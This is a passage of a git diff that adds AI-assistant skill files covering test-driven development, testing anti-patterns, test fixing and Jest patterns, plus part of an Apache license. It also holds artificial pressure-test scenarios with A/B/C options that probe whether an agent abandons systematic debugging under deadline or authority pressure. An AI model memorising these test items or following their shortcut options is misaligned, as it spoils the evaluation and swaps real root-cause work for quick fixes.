deleted +- Miss dinner entirely +- Exhausted debugging until 11pm +- "Wasting" all that sunk cost + +**B) Keep the 5-second timeout, file a ticket** +- Stops the immediate bleeding +- Can investigate "properly" later when fresh +- Make dinner (only 30 min late) +- 4 hours not completely wasted +- Being "pragmatic" about perfect vs good enough + +**C) Quick investigation first** +- Spend 30 more minutes looking for root cause +- If not obvious, use timeout solution +- Investigate more tomorrow if needed +- "Balanced" approach + +## Choose A, B, or C + +Which do you choose? Be completely honest about what you would actually do in this situation. diff --git a/skills/systematic-debugging/test-pressure-3.md b/skills/systematic-debugging/test-pressure-3.md new file mode 100644 index 00000000..89734b86 --- /dev/null +++ b/skills/systematic-debugging/test-pressure-3.md @@ -0,0 +1,69 @@ +# Pressure Test 3: Authority + Social Pressure + +**IMPORTANT: This is a real scenario. You must choose and act. Don't ask hypothetical questions - make the actual decision.** + +You have access to: skills/debugging/systematic-debugging + +## Scenario + +You're in a Zoom call with: +- Your senior engineer (10 years experience) +- The tech lead +- Two other developers + +You're investigating why the new feature breaks existing user sessions. The senior engineer has been typing in the codebase for 3 minutes while you all watch their screen share. + +**Senior engineer:** "Found it. The session token needs to be refreshed after the new auth middleware runs. I'll add a refresh call here [points at line 147]." + +**You:** "Should we investigate why the middleware is invalidating tokens first? That seems like it shouldn't happen." + +**Senior engineer:** "I've seen this pattern a hundred times. It's how middleware works. The fix is to refresh after middleware." + +**Tech lead:** "How long would investigation take?" + +**You:** "Maybe 30-45 minutes to trace through the middleware and understand the token lifecycle." + +**Tech lead:** "We're already 20 minutes over on this call. [Senior] knows this stuff cold. Let's just implement the fix." + +**Senior engineer:** "Trust me, I've debugged auth systems for years. This is the right fix." + +**Other developers:** [silence - clearly want the call to end] + +Your systematic debugging skill says: +- Phase 2: Compare against references (read middleware implementation completely) +- Phase 2: Understand dependencies (what assumptions does middleware make?) +- Don't claim to implement pattern without reading it completely + +But: +- Senior has way more experience +- Tech lead approved the approach +- Everyone wants to end the call +- You'll look dogmatic/inflexible/junior +- "Trust the experts" seems reasonable + +## Your Options + +**A) Push back: "I think we should investigate the root cause first"** +- Insist on following systematic process +- Everyone frustrated with you +- Senior engineer annoyed +- Tech lead thinks you're wasting time +- You look like you don't trust experienced developers +- Risk looking dogmatic/inflexible + +**B) Go along with senior's fix** +- They have 10 years experience +- Tech lead approved +- Entire team wants to move forward +- Being a "team player" +- "Trust but verify" - can investigate on your own later + +**C) Compromise: "Can we at least look at the middleware docs?"** +- Quick 5-minute doc check +- Then implement senior's fix if nothing obvious +- Shows you did "due diligence" +- Doesn't waste too much time + +## Choose A, B, or C + +Which do you choose? Be honest about what you would actually do with senior engineers and tech lead present. diff --git a/skills/test-driven-development/SKILL.md b/skills/test-driven-development/SKILL.md new file mode 100644 index 00000000..7a751fa9 --- /dev/null +++ b/skills/test-driven-development/SKILL.md @@ -0,0 +1,371 @@ +--- +name: test-driven-development +description: Use when implementing any feature or bugfix, before writing implementation code +--- + +# Test-Driven Development (TDD) + +## Overview + +Write the test first. Watch it fail. Write minimal code to pass. + +**Core principle:** If you didn't watch the test fail, you don't know if it tests the right thing. + +**Violating the letter of the rules is violating the spirit of the rules.** + +## When to Use + +**Always:** +- New features +- Bug fixes +- Refactoring +- Behavior changes + +**Exceptions (ask your human partner):** +- Throwaway prototypes +- Generated code +- Configuration files + +Thinking "skip TDD just this once"? Stop. That's rationalization. + +## The Iron Law + +``` +NO PRODUCTION CODE WITHOUT A FAILING TEST FIRST +``` + +Write code before the test? Delete it. Start over. + +**No exceptions:** +- Don't keep it as "reference" +- Don't "adapt" it while writing tests +- Don't look at it +- Delete means delete + +Implement fresh from tests. Period. + +## Red-Green-Refactor + +```dot +digraph tdd_cycle { + rankdir=LR; + red [label="RED\nWrite failing test", shape=box, style=filled, fillcolor="#ffcccc"]; + verify_red [label="Verify fails\ncorrectly", shape=diamond]; + green [label="GREEN\nMinimal code", shape=box, style=filled, fillcolor="#ccffcc"]; + verify_green [label="Verify passes\nAll green", shape=diamond]; + refactor [label="REFACTOR\nClean up", shape=box, style=filled, fillcolor="#ccccff"]; + next [label="Next", shape=ellipse]; + + red -> verify_red; + verify_red -> green [label="yes"]; + verify_red -> red [label="wrong\nfailure"]; + green -> verify_green; + verify_green -> refactor [label="yes"]; + verify_green -> green [label="no"]; + refactor -> verify_green [label="stay\ngreen"]; + verify_green -> next; + next -> red; +} +``` + +### RED - Write Failing Test + +Write one minimal test showing what should happen. + +<Good> +```typescript +test('retries failed operations 3 times', async () => { + let attempts = 0; + const operation = () => { + attempts++; + if (attempts < 3) throw new Error('fail'); + return 'success'; + }; + + const result = await retryOperation(operation); + + expect(result).toBe('success'); + expect(attempts).toBe(3); +}); +``` +Clear name, tests real behavior, one thing +</Good> + +<Bad> +```typescript +test('retry works', async () => { + const mock = jest.fn() + .mockRejectedValueOnce(new Error()) + .mockRejectedValueOnce(new Error()) + .mockResolvedValueOnce('success'); + await retryOperation(mock); + expect(mock).toHaveBeenCalledTimes(3); +}); +``` +Vague name, tests mock not code +</Bad> + +**Requirements:** +- One behavior +- Clear name +- Real code (no mocks unless unavoidable) + +### Verify RED - Watch It Fail + +**MANDATORY. Never skip.** + +```bash +npm test path/to/test.test.ts +``` + +Confirm: +- Test fails (not errors) +- Failure message is expected +- Fails because feature missing (not typos) + +**Test passes?** You're testing existing behavior. Fix test. + +**Test errors?** Fix error, re-run until it fails correctly. + +### GREEN - Minimal Code + +Write simplest code to pass the test. + +<Good> +```typescript +async function retryOperation<T>(fn: () => Promise<T>): Promise<T> { + for (let i = 0; i < 3; i++) { + try { + return await fn(); + } catch (e) { + if (i === 2) throw e; + } + } + throw new Error('unreachable'); +} +``` +Just enough to pass +</Good> + +<Bad> +```typescript +async function retryOperation<T>( + fn: () => Promise<T>, + options?: { + maxRetries?: number; + backoff?: 'linear' | 'exponential'; + onRetry?: (attempt: number) => void; + } +): Promise<T> { + // YAGNI +} +``` +Over-engineered +</Bad> + +Don't add features, refactor other code, or "improve" beyond the test. + +### Verify GREEN - Watch It Pass + +**MANDATORY.** + +```bash +npm test path/to/test.test.ts +``` + +Confirm: +- Test passes +- Other tests still pass +- Output pristine (no errors, warnings) + +**Test fails?** Fix code, not test. + +**Other tests fail?** Fix now. + +### REFACTOR - Clean Up + +After green only: +- Remove duplication +- Improve names +- Extract helpers + +Keep tests green. Don't add behavior. + +### Repeat + +Next failing test for next feature. + +## Good Tests + +| Quality | Good | Bad | +|---------|------|-----| +| **Minimal** | One thing. "and" in name? Split it. | `test('validates email and domain and whitespace')` | +| **Clear** | Name describes behavior | `test('test1')` | +| **Shows intent** | Demonstrates desired API | Obscures what code should do | + +## Why Order Matters + +**"I'll write tests after to verify it works"** + +Tests written after code pass immediately. Passing immediately proves nothing: +- Might test wrong thing +- Might test implementation, not behavior +- Might miss edge cases you forgot +- You never saw it catch the bug + +Test-first forces you to see the test fail, proving it actually tests something. + +**"I already manually tested all the edge cases"** + +Manual testing is ad-hoc. You think you tested everything but: +- No record of what you tested +- Can't re-run when code changes +- Easy to forget cases under pressure +- "It worked when I tried it" ≠ comprehensive + +Automated tests are systematic. They run the same way every time. + +**"Deleting X hours of work is wasteful"** + +Sunk cost fallacy. The time is already gone. Your choice now: +- Delete and rewrite with TDD (X more hours, high confidence) +- Keep it and add tests after (30 min, low confidence, likely bugs) + +The "waste" is keeping code you can't trust. Working code without real tests is technical debt. + +**"TDD is dogmatic, being pragmatic means adapting"** + +TDD IS pragmatic: +- Finds bugs before commit (faster than debugging after) +- Prevents regressions (tests catch breaks immediately) +- Documents behavior (tests show how to use code) +- Enables refactoring (change freely, tests catch breaks) + +"Pragmatic" shortcuts = debugging in production = slower. + +**"Tests after achieve the same goals - it's spirit not ritual"** + +No. Tests-after answer "What does this do?" Tests-first answer "What should this do?" + +Tests-after are biased by your implementation. You test what you built, not what's required. You verify remembered edge cases, not discovered ones. + +Tests-first force edge case discovery before implementing. Tests-after verify you remembered everything (you didn't). + +30 minutes of tests after ≠ TDD. You get coverage, lose proof tests work. + +## Common Rationalizations + +| Excuse | Reality | +|--------|---------| +| "Too simple to test" | Simple code breaks. Test takes 30 seconds. | +| "I'll test after" | Tests passing immediately prove nothing. | +| "Tests after achieve same goals" | Tests-after = "what does this do?" Tests-first = "what should this do?" | +| "Already manually tested" | Ad-hoc ≠ systematic. No record, can't re-run. | +| "Deleting X hours is wasteful" | Sunk cost fallacy. Keeping unverified code is technical debt. | +| "Keep as reference, write tests first" | You'll adapt it. That's testing after. Delete means delete. | +| "Need to explore first" | Fine. Throw away exploration, start with TDD. | +| "Test hard = design unclear" | Listen to test. Hard to test = hard to use. | +| "TDD will slow me down" | TDD faster than debugging. Pragmatic = test-first. | +| "Manual test faster" | Manual doesn't prove edge cases. You'll re-test every change. | +| "Existing code has no tests" | You're improving it. Add tests for existing code. | + +## Red Flags - STOP and Start Over + +- Code before test +- Test after implementation +- Test passes immediately +- Can't explain why test failed +- Tests added "later" +- Rationalizing "just this once" +- "I already manually tested it" +- "Tests after achieve the same purpose" +- "It's about spirit not ritual" +- "Keep as reference" or "adapt existing code" +- "Already spent X hours, deleting is wasteful" +- "TDD is dogmatic, I'm being pragmatic" +- "This is different because..." + +**All of these mean: Delete code. Start over with TDD.** + +## Example: Bug Fix + +**Bug:** Empty email accepted + +**RED** +```typescript +test('rejects empty email', async () => { + const result = await submitForm({ email: '' }); + expect(result.error).toBe('Email required'); +}); +``` + +**Verify RED** +```bash +$ npm test +FAIL: expected 'Email required', got undefined +``` + +**GREEN** +```typescript +function submitForm(data: FormData) { + if (!data.email?.trim()) { + return { error: 'Email required' }; + } + // ... +} +``` + +**Verify GREEN** +```bash +$ npm test +PASS +``` + +**REFACTOR** +Extract validation for multiple fields if needed. + +## Verification Checklist + +Before marking work complete: + +- [ ] Every new function/method has a test +- [ ] Watched each test fail before implementing +- [ ] Each test failed for expected reason (feature missing, not typo) +- [ ] Wrote minimal code to pass each test +- [ ] All tests pass +- [ ] Output pristine (no errors, warnings) +- [ ] Tests use real code (mocks only if unavoidable) +- [ ] Edge cases and errors covered + +Can't check all boxes? You skipped TDD. Start over. + +## When Stuck + +| Problem | Solution | +|---------|----------| +| Don't know how to test | Write wished-for API. Write assertion first. Ask your human partner. | +| Test too complicated | Design too complicated. Simplify interface. | +| Must mock everything | Code too coupled. Use dependency injection. | +| Test setup huge | Extract helpers. Still complex? Simplify design. | + +## Debugging Integration + +Bug found? Write failing test reproducing it. Follow TDD cycle. Test proves fix and prevents regression. + +Never fix bugs without a test. + +## Testing Anti-Patterns + +When adding mocks or test utilities, read @testing-anti-patterns.md to avoid common pitfalls: +- Testing mock behavior instead of real behavior +- Adding test-only methods to production classes +- Mocking without understanding dependencies + +## Final Rule + +``` +Production code → test exists and failed first +Otherwise → not TDD +``` + +No exceptions without your human partner's permission. diff --git a/skills/test-driven-development/testing-anti-patterns.md b/skills/test-driven-development/testing-anti-patterns.md new file mode 100644 index 00000000..e77ab6b6 --- /dev/null +++ b/skills/test-driven-development/testing-anti-patterns.md @@ -0,0 +1,299 @@ +# Testing Anti-Patterns + +**Load this reference when:** writing or changing tests, adding mocks, or tempted to add test-only methods to production code. + +## Overview + +Tests must verify real behavior, not mock behavior. Mocks are a means to isolate, not the thing being tested. + +**Core principle:** Test what the code does, not what the mocks do. + +**Following strict TDD prevents these anti-patterns.** + +## The Iron Laws + +``` +1. NEVER test mock behavior +2. NEVER add test-only methods to production classes +3. NEVER mock without understanding dependencies +``` + +## Anti-Pattern 1: Testing Mock Behavior + +**The violation:** +```typescript +// ❌ BAD: Testing that the mock exists +test('renders sidebar', () => { + render(<Page />); + expect(screen.getByTestId('sidebar-mock')).toBeInTheDocument(); +}); +``` + +**Why this is wrong:** +- You're verifying the mock works, not that the component works +- Test passes when mock is present, fails when it's not +- Tells you nothing about real behavior + +**your human partner's correction:** "Are we testing the behavior of a mock?" + +**The fix:** +```typescript +// ✅ GOOD: Test real component or don't mock it +test('renders sidebar', () => { + render(<Page />); // Don't mock sidebar + expect(screen.getByRole('navigation')).toBeInTheDocument(); +}); + +// OR if sidebar must be mocked for isolation: +// Don't assert on the mock - test Page's behavior with sidebar present +``` + +### Gate Function + +``` +BEFORE asserting on any mock element: + Ask: "Am I testing real component behavior or just mock existence?" + + IF testing mock existence: + STOP - Delete the assertion or unmock the component + + Test real behavior instead +``` + +## Anti-Pattern 2: Test-Only Methods in Production + +**The violation:** +```typescript +// ❌ BAD: destroy() only used in tests +class Session { + async destroy() { // Looks like production API! + await this._workspaceManager?.destroyWorkspace(this.id); + // ... cleanup + } +} + +// In tests +afterEach(() => session.destroy()); +``` + +**Why this is wrong:** +- Production class polluted with test-only code +- Dangerous if accidentally called in production +- Violates YAGNI and separation of concerns +- Confuses object lifecycle with entity lifecycle + +**The fix:** +```typescript +// ✅ GOOD: Test utilities handle test cleanup +// Session has no destroy() - it's stateless in production + +// In test-utils/ +export async function cleanupSession(session: Session) { + const workspace = session.getWorkspaceInfo(); + if (workspace) { + await workspaceManager.destroyWorkspace(workspace.id); + } +} + +// In tests +afterEach(() => cleanupSession(session)); +``` + +### Gate Function + +``` +BEFORE adding any method to production class: + Ask: "Is this only used by tests?" + + IF yes: + STOP - Don't add it + Put it in test utilities instead + + Ask: "Does this class own this resource's lifecycle?" + + IF no: + STOP - Wrong class for this method +``` + +## Anti-Pattern 3: Mocking Without Understanding + +**The violation:** +```typescript +// ❌ BAD: Mock breaks test logic +test('detects duplicate server', () => { + // Mock prevents config write that test depends on! + vi.mock('ToolCatalog', () => ({ + discoverAndCacheTools: vi.fn().mockResolvedValue(undefined) + })); + + await addServer(config); + await addServer(config); // Should throw - but won't! +}); +``` + +**Why this is wrong:** +- Mocked method had side effect test depended on (writing config) +- Over-mocking to "be safe" breaks actual behavior +- Test passes for wrong reason or fails mysteriously + +**The fix:** +```typescript +// ✅ GOOD: Mock at correct level +test('detects duplicate server', () => { + // Mock the slow part, preserve behavior test needs + vi.mock('MCPServerManager'); // Just mock slow server startup + + await addServer(config); // Config written + await addServer(config); // Duplicate detected ✓ +}); +``` + +### Gate Function + +``` +BEFORE mocking any method: + STOP - Don't mock yet + + 1. Ask: "What side effects does the real method have?" + 2. Ask: "Does this test depend on any of those side effects?" + 3. Ask: "Do I fully understand what this test needs?" + + IF depends on side effects: + Mock at lower level (the actual slow/external operation) + OR use test doubles that preserve necessary behavior + NOT the high-level method the test depends on + + IF unsure what test depends on: + Run test with real implementation FIRST + Observe what actually needs to happen + THEN add minimal mocking at the right level + + Red flags: + - "I'll mock this to be safe" + - "This might be slow, better mock it" + - Mocking without understanding the dependency chain +``` + +## Anti-Pattern 4: Incomplete Mocks + +**The violation:** +```typescript +// ❌ BAD: Partial mock - only fields you think you need +const mockResponse = { + status: 'success', + data: { userId: '123', name: 'Alice' } + // Missing: metadata that downstream code uses +}; + +// Later: breaks when code accesses response.metadata.requestId +``` + +**Why this is wrong:** +- **Partial mocks hide structural assumptions** - You only mocked fields you know about +- **Downstream code may depend on fields you didn't include** - Silent failures +- **Tests pass but integration fails** - Mock incomplete, real API complete +- **False confidence** - Test proves nothing about real behavior + +**The Iron Rule:** Mock the COMPLETE data structure as it exists in reality, not just fields your immediate test uses. + +**The fix:** +```typescript +// ✅ GOOD: Mirror real API completeness +const mockResponse = { + status: 'success', + data: { userId: '123', name: 'Alice' }, + metadata: { requestId: 'req-789', timestamp: 1234567890 } + // All fields real API returns +}; +``` + +### Gate Function + +``` +BEFORE creating mock responses: + Check: "What fields does the real API response contain?" + + Actions: + 1. Examine actual API response from docs/examples + 2. Include ALL fields system might consume downstream + 3. Verify mock matches real response schema completely + + Critical: + If you're creating a mock, you must understand the ENTIRE structure + Partial mocks fail silently when code depends on omitted fields + + If uncertain: Include all documented fields +``` + +## Anti-Pattern 5: Integration Tests as Afterthought + +**The violation:** +``` +✅ Implementation complete +❌ No tests written +"Ready for testing" +``` + +**Why this is wrong:** +- Testing is part of implementation, not optional follow-up +- TDD would have caught this +- Can't claim complete without tests + +**The fix:** +``` +TDD cycle: +1. Write failing test +2. Implement to pass +3. Refactor +4. THEN claim complete +``` + +## When Mocks Become Too Complex + +**Warning signs:** +- Mock setup longer than test logic +- Mocking everything to make test pass +- Mocks missing methods real components have +- Test breaks when mock changes + +**your human partner's question:** "Do we need to be using a mock here?" + +**Consider:** Integration tests with real components often simpler than complex mocks + +## TDD Prevents These Anti-Patterns + +**Why TDD helps:** +1. **Write test first** → Forces you to think about what you're actually testing +2. **Watch it fail** → Confirms test tests real behavior, not mocks +3. **Minimal implementation** → No test-only methods creep in +4. **Real dependencies** → You see what the test actually needs before mocking + +**If you're testing mock behavior, you violated TDD** - you added mocks without watching test fail against real code first. + +## Quick Reference + +| Anti-Pattern | Fix | +|--------------|-----| +| Assert on mock elements | Test real component or unmock it | +| Test-only methods in production | Move to test utilities | +| Mock without understanding | Understand dependencies first, mock minimally | +| Incomplete mocks | Mirror real API completely | +| Tests as afterthought | TDD - tests first | +| Over-complex mocks | Consider integration tests | + +## Red Flags + +- Assertion checks for `*-mock` test IDs +- Methods only called in test files +- Mock setup is >50% of test +- Test fails when you remove mock +- Can't explain why mock is needed +- Mocking "just to be safe" + +## The Bottom Line + +**Mocks are tools to isolate, not things to test.** + +If TDD reveals you're testing mock behavior, you've gone wrong. + +Fix: Test real behavior or question why you're mocking at all. diff --git a/skills/test-fixing/SKILL.md b/skills/test-fixing/SKILL.md new file mode 100644 index 00000000..2a435fd8 --- /dev/null +++ b/skills/test-fixing/SKILL.md @@ -0,0 +1,119 @@ +--- +name: test-fixing +description: Run tests and systematically fix all failing tests using smart error grouping. Use when user asks to fix failing tests, mentions test failures, runs test suite and failures occur, or requests to make tests pass. +--- + +# Test Fixing + +Systematically identify and fix all failing tests using smart grouping strategies. + +## When to Use + +- Explicitly asks to fix tests ("fix these tests", "make tests pass") +- Reports test failures ("tests are failing", "test suite is broken") +- Completes implementation and wants tests passing +- Mentions CI/CD failures due to tests + +## Systematic Approach + +### 1. Initial Test Run + +Run `make test` to identify all failing tests. + +Analyze output for: + +- Total number of failures +- Error types and patterns +- Affected modules/files + +### 2. Smart Error Grouping + +Group similar failures by: + +- **Error type**: ImportError, AttributeError, AssertionError, etc. +- **Module/file**: Same file causing multiple test failure +- **Root cause**: Missing dependencies, API changes, refactoring impacts + +Prioritize groups by: + +- Number of affected tests (highest impact first) +- Dependency order (fix infrastructure before functionality) + +### 3. Systematic Fixing Process + +For each group (starting with highest impact): + +1. **Identify root cause** + + - Read relevant code + - Check recent changes with `git diff` + - Understand the error pattern + +2. **Implement fix** + + - Use Edit tool for code changes + - Follow project conventions (see CLAUDE.md) + - Make minimal, focused changes + +3. **Verify fix** + + - Run subset of tests for this group + - Use pytest markers or file patterns: + ```bash + uv run pytest tests/path/to/test_file.py -v + uv run pytest -k "pattern" -v + ``` + - Ensure group passes before moving on + +4. **Move to next group** + +### 4. Fix Order Strategy + +**Infrastructure first:** + +- Import errors +- Missing dependencies +- Configuration issues + +**Then API changes:** + +- Function signature changes +- Module reorganization +- Renamed variables/functions + +**Finally, logic issues:** + +- Assertion failures +- Business logic bugs +- Edge case handling + +### 5. Final Verification + +After all groups fixed: + +- Run complete test suite: `make test` +- Verify no regressions +- Check test coverage remains intact + +## Best Practices + +- Fix one group at a time +- Run focused tests after each fix +- Use `git diff` to understand recent changes +- Look for patterns in failures +- Don't move to next group until current passes +- Keep changes minimal and focused + +## Example Workflow + +User: "The tests are failing after my refactor" + +1. Run `make test` → 15 failures identified +2. Group errors: + - 8 ImportErrors (module renamed) + - 5 AttributeErrors (function signature changed) + - 2 AssertionErrors (logic bugs) +3. Fix ImportErrors first → Run subset → Verify +4. Fix AttributeErrors → Run subset → Verify +5. Fix AssertionErrors → Run subset → Verify +6. Run full suite → All pass ✓ diff --git a/skills/testing-patterns/SKILL.md b/skills/testing-patterns/SKILL.md new file mode 100644 index 00000000..45de878e --- /dev/null +++ b/skills/testing-patterns/SKILL.md @@ -0,0 +1,259 @@ +--- +name: testing-patterns +description: Jest testing patterns, factory functions, mocking strategies, and TDD workflow. Use when writing unit tests, creating test factories, or following TDD red-green-refactor cycle. +--- + +# Testing Patterns and Utilities + +## Testing Philosophy + +**Test-Driven Development (TDD):** +- Write failing test FIRST +- Implement minimal code to pass +- Refactor after green +- Never write production code without a failing test + +**Behavior-Driven Testing:** +- Test behavior, not implementation +- Focus on public APIs and business requirements +- Avoid testing implementation details +- Use descriptive test names that describe behavior + +**Factory Pattern:** +- Create `getMockX(overrides?: Partial<X>)` functions +- Provide sensible defaults +- Allow overriding specific properties +- Keep tests DRY and maintainable + +## Test Utilities + +### Custom Render Function + +Create a custom render that wraps components with required providers: + +```typescript +// src/utils/testUtils.tsx +import { render } from '@testing-library/react-native'; +import { ThemeProvider } from './theme'; + +export const renderWithTheme = (ui: React.ReactElement) => { + return render( + <ThemeProvider>{ui}</ThemeProvider> + ); +}; +``` + +**Usage:** +```typescript +import { renderWithTheme } from 'utils/testUtils'; +import { screen } from '@testing-library/react-native'; + +it('should render component', () => { + renderWithTheme(<MyComponent />); + expect(screen.getByText('Hello')).toBeTruthy(); +}); +``` + +## Factory Pattern + +### Component Props Factory + +```typescript +import { ComponentProps } from 'react'; + +const getMockMyComponentProps = ( + overrides?: Partial<ComponentProps<typeof MyComponent>> +) => { + return { + title: 'Default Title', + count: 0, + onPress: jest.fn(), + isLoading: false, + ...overrides, + }; +}; + +// Usage in tests +it('should render with custom title', () => { + const props = getMockMyComponentProps({ title: 'Custom Title' }); + renderWithTheme(<MyComponent {...props} />); + expect(screen.getByText('Custom Title')).toBeTruthy(); +}); +``` + +### Data Factory + +```typescript +interface User { + id: string; + name: string; + email: string; + role: 'admin' | 'user'; +} + +const getMockUser = (overrides?: Partial<User>): User => { + return { + id: '123', + name: 'John Doe', + email: 'john@example.com', + role: 'user', + ...overrides, + }; +}; + +// Usage +it('should display admin badge for admin users', () => { + const user = getMockUser({ role: 'admin' }); + renderWithTheme(<UserCard user={user} />); + expect(screen.getByText('Admin')).toBeTruthy(); +}); +``` + +## Mocking Patterns + +### Mocking Modules + +```typescript +// Mock entire module +jest.mock('utils/analytics'); + +// Mock with factory function +jest.mock('utils/analytics', () => ({ + Analytics: { + logEvent: jest.fn(), + }, +})); + +// Access mock in test +const mockLogEvent = jest.requireMock('utils/analytics').Analytics.logEvent; +``` + +### Mocking GraphQL Hooks + +```typescript +jest.mock('./GetItems.generated', () => ({ + useGetItemsQuery: jest.fn(), +})); + +const mockUseGetItemsQuery = jest.requireMock( + './GetItems.generated' +).useGetItemsQuery as jest.Mock; + +// In test +mockUseGetItemsQuery.mockReturnValue({ + data: { items: [] }, + loading: false, + error: undefined, +}); +``` + +## Test Structure + +```typescript +describe('ComponentName', () => { + beforeEach(() => { + jest.clearAllMocks(); + }); + + describe('Rendering', () => { + it('should render component with default props', () => {}); + it('should render loading state when loading', () => {}); + }); + + describe('User interactions', () => { + it('should call onPress when button is clicked', async () => {}); + }); + + describe('Edge cases', () => { + it('should handle empty data gracefully', () => {}); + }); +}); +``` + +## Query Patterns + +```typescript +// Element must exist +expect(screen.getByText('Hello')).toBeTruthy(); + +// Element should not exist +expect(screen.queryByText('Goodbye')).toBeNull(); + +// Element appears asynchronously +await waitFor(() => { + expect(screen.findByText('Loaded')).toBeTruthy(); +}); +``` + +## User Interaction Patterns + +```typescript +import { fireEvent, screen } from '@testing-library/react-native'; + +it('should submit form on button click', async () => { + const onSubmit = jest.fn(); + renderWithTheme(<LoginForm onSubmit={onSubmit} />); + + fireEvent.changeText(screen.getByLabelText('Email'), 'user@example.com'); + fireEvent.changeText(screen.getByLabelText('Password'), 'password123'); + fireEvent.press(screen.getByTestId('login-button')); + + await waitFor(() => { + expect(onSubmit).toHaveBeenCalled(); + }); +}); +``` + +## Anti-Patterns to Avoid + +### Testing Mock Behavior Instead of Real Behavior + +```typescript +// Bad - testing the mock +expect(mockFetchData).toHaveBeenCalled(); + +// Good - testing actual behavior +expect(screen.getByText('John Doe')).toBeTruthy(); +``` + +### Not Using Factories + +```typescript +// Bad - duplicated, inconsistent test data +it('test 1', () => { + const user = { id: '1', name: 'John', email: 'john@test.com', role: 'user' }; +}); +it('test 2', () => { + const user = { id: '2', name: 'Jane', email: 'jane@test.com' }; // Missing role! +}); + +// Good - reusable factory +const user = getMockUser({ name: 'Custom Name' }); +``` + +## Best Practices + +1. **Always use factory functions** for props and data +2. **Test behavior, not implementation** +3. **Use descriptive test names** +4. **Organize with describe blocks** +5. **Clear mocks between tests** +6. **Keep tests focused** - one behavior per test + +## Running Tests + +```bash +# Run all tests +npm test + +# Run with coverage +npm run test:coverage + +# Run specific file +npm test ComponentName.test.tsx +``` + +## Integration with Other Skills + +- **react-ui-patterns**: Test all UI states (loading, error, empty, success) +- **systematic-debugging**: Write test that reproduces bug before fixing diff --git a/skills/theme-factory/LICENSE.txt b/skills/theme-factory/LICENSE.txt new file mode 100644 index 00000000..7a4a3ea2 --- /dev/null +++ b/skills/theme-factory/LICENSE.txt @@ -0,0 +1,202 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or 